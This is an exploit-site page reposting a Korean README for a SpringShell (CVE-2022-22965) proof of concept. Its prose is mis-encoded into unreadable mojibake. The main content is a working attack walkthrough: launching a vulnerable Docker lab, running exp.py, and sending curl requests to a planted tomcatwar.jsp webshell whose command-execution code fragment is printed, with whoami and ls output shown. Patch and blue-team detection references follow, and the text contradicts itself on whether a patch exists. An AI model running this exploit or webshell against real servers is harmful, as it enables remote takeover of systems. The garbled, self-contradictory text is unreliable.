Sploitus

Exploit for SpringShell

kitploit ยท 2026-08-25

Exploit Code

MARKDOWN110 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-THEGEJR-SPRINGSHELL
# Spring Core RCE - CVE-2022-22965

> 3์›” 29์ผ, Spring Cloud์— ์ด์–ด Spring์˜ ๋˜ ๋‹ค๋ฅธ ์ค‘๋Œ€ํ•œ ์ทจ์•ฝ์ ์ด ์ธํ„ฐ๋„ท์—์„œ ๋ฐœ์ƒํ–ˆ์Šต๋‹ˆ๋‹ค: Spring Core RCE
> 
> 3์›” 31์ผ, Spring์€ ์ด ์ทจ์•ฝ์ ์„ ์ˆ˜์ •ํ•˜๋Š” ์ƒˆ ๋ฒ„์ „์„ ์ถœ์‹œํ–ˆ์Šต๋‹ˆ๋‹ค. ํŒจ์น˜ ์„น์…˜์„ ์ฐธ์กฐํ•˜์„ธ์š”.
> 
> 3์›” 31์ผ, ๋งˆ์นจ๋‚ด ์ด ์ทจ์•ฝ์ ์— CVE ๋ฒˆํ˜ธ๊ฐ€ ์ง€์ •๋˜์—ˆ์œผ๋ฉฐ, CVSS ์ ์ˆ˜ 9.8(์น˜๋ช…์ )์ด ๋ถ€์—ฌ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

## ๊ฐœ๋… ์ฆ๋ช…

์ด ์ต์Šคํ”Œ๋กœ์ž‡์€ ์‚ฌ์šฉํ•˜๊ธฐ ๋งค์šฐ ์‰ฌ์šฐ๋ฏ€๋กœ CVSS ์ ์ˆ˜ 9.8์ด๋ผ๋Š” ๋งค์šฐ ๋†’์€ ์ ์ˆ˜๋ฅผ ๋ฐ›์•˜์Šต๋‹ˆ๋‹ค.

์ทจ์•ฝ์ ์„ ํ…Œ์ŠคํŠธํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์ˆ˜ํ–‰ํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค.

์ทจ์•ฝํ•œ Spring ๋„์ปค ์ด๋ฏธ์ง€๋ฅผ ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค.

root@kitploit:~
    
    
    docker run -d -p 8082:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29
    

์ด ๋ช…๋ น์€ ์ทจ์•ฝํ•œ Spring์„ `localhost:8082` ์ฃผ์†Œ์— ๋ฐ”์ธ๋”ฉํ•ฉ๋‹ˆ๋‹ค.

`curl`๋กœ ์ด๋ฏธ์ง€๊ฐ€ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์‹œ์ž‘๋˜์—ˆ๋Š”์ง€ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.

root@kitploit:~
    
    
    curl http://localhost:8082
    

`ok` ์‘๋‹ต์ด ๋ฐ˜ํ™˜๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

์ด์ œ ์ทจ์•ฝํ•œ ์ด๋ฏธ์ง€๋ฅผ ์ต์Šคํ”Œ๋กœ์ž‡ํ•ด ๋ด…์‹œ๋‹ค!

root@kitploit:~
    
    
    python3 exp.py --url http://localhost:8082
    

`The vulnerability exists ....` ์‘๋‹ต์ด ๋ฐ˜ํ™˜๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

์ด์ œ `curl`๋กœ ์ทจ์•ฝ์ ์„ ์ต์Šคํ”Œ๋กœ์ž‡ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

root@kitploit:~
    
    
    # Execute command whoami
    curl --output - http://localhost:8082/tomcatwar.jsp?pwd=j&cmd=whoami
    
    # Response has been truncated
    root
    
    //
    - if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } - ........
    
    # Execute command ls
    curl --output - http://localhost:8082/tomcatwar.jsp?pwd=j&cmd=ls
    
    # Response has been truncated
    app
    bin
    dev
    etc
    ..........
    

## ์œ ํฌ ์ค‘์ธ PoC ์ฝ”๋“œ

**ํ˜„์žฌ๊นŒ์ง€ ์ต์Šคํ”Œ๋กœ์ž‡์€`exp.py`๋กœ ์—…๋กœ๋“œ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.**  
![์œ ํฌ ์ค‘์ธ PoC ์ฝ”๋“œ](https://assets.kitploit.com/production/public/readmes/21103/26b2982e12492d8728cfa76576efd9abd6fbd0849e3bc6c46c93317d57c2ec21.png)  
![๋‚œ์ฒ˜ํ•œ ์ƒํ™ฉ](https://assets.kitploit.com/production/public/readmes/21103/4914313a9681ac37156b6c77f0e9258cf2ff3e3730e89bbe113fac775e5bfb3e.png)

## ํŒจ์น˜

Spring์€ ์ด์ œ ์ด CVE๋ฅผ ํ•ด๊ฒฐํ•˜๋Š” ์ƒˆ ๋ฒ„์ „์„ ์ถœ์‹œํ–ˆ์Šต๋‹ˆ๋‹ค. Spring์˜ ๋ฐœํ‘œ๋ฅผ ์ฐธ์กฐํ•˜์„ธ์š”.

์ทจ์•ฝ์ ์„ ํŒจ์น˜ํ•œ ์ปค๋ฐ‹

## ์ทจ์•ฝ์  ์˜ํ–ฅ

  1. JDK ๋ฒ„์ „ 9 ์ด์ƒ
  2. Spring Framework ๋˜๋Š” ํŒŒ์ƒ ํ”„๋ ˆ์ž„์›Œํฌ๊ฐ€ ์‚ฌ์šฉ๋จ



## ๋ฒ„๊ทธ ์ˆ˜์ • ์ œ์•ˆ

ํ˜„์žฌ Spring์€ ๊ณต์‹์ ์œผ๋กœ ํŒจ์น˜๋ฅผ ์ถœ์‹œํ•˜์ง€ ์•Š์•˜์œผ๋ฏ€๋กœ ์ž„์‹œ ํ•ด๊ฒฐ์ฑ…์œผ๋กœ jdk ๋ฒ„์ „์„ ๋‚ฎ์ถ”๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค.

## ๋ธ”๋ฃจ ํŒ€

### Yara

  * Florian Roth - Spring4Shell ์›น์…ธ



### Sigma

  * Emanuele De Lucia - .jsp ์›น์…ธ ์ƒ์„ฑ



### SPLUNK

  * Alex John - Splunk ํƒ์ง€ SPL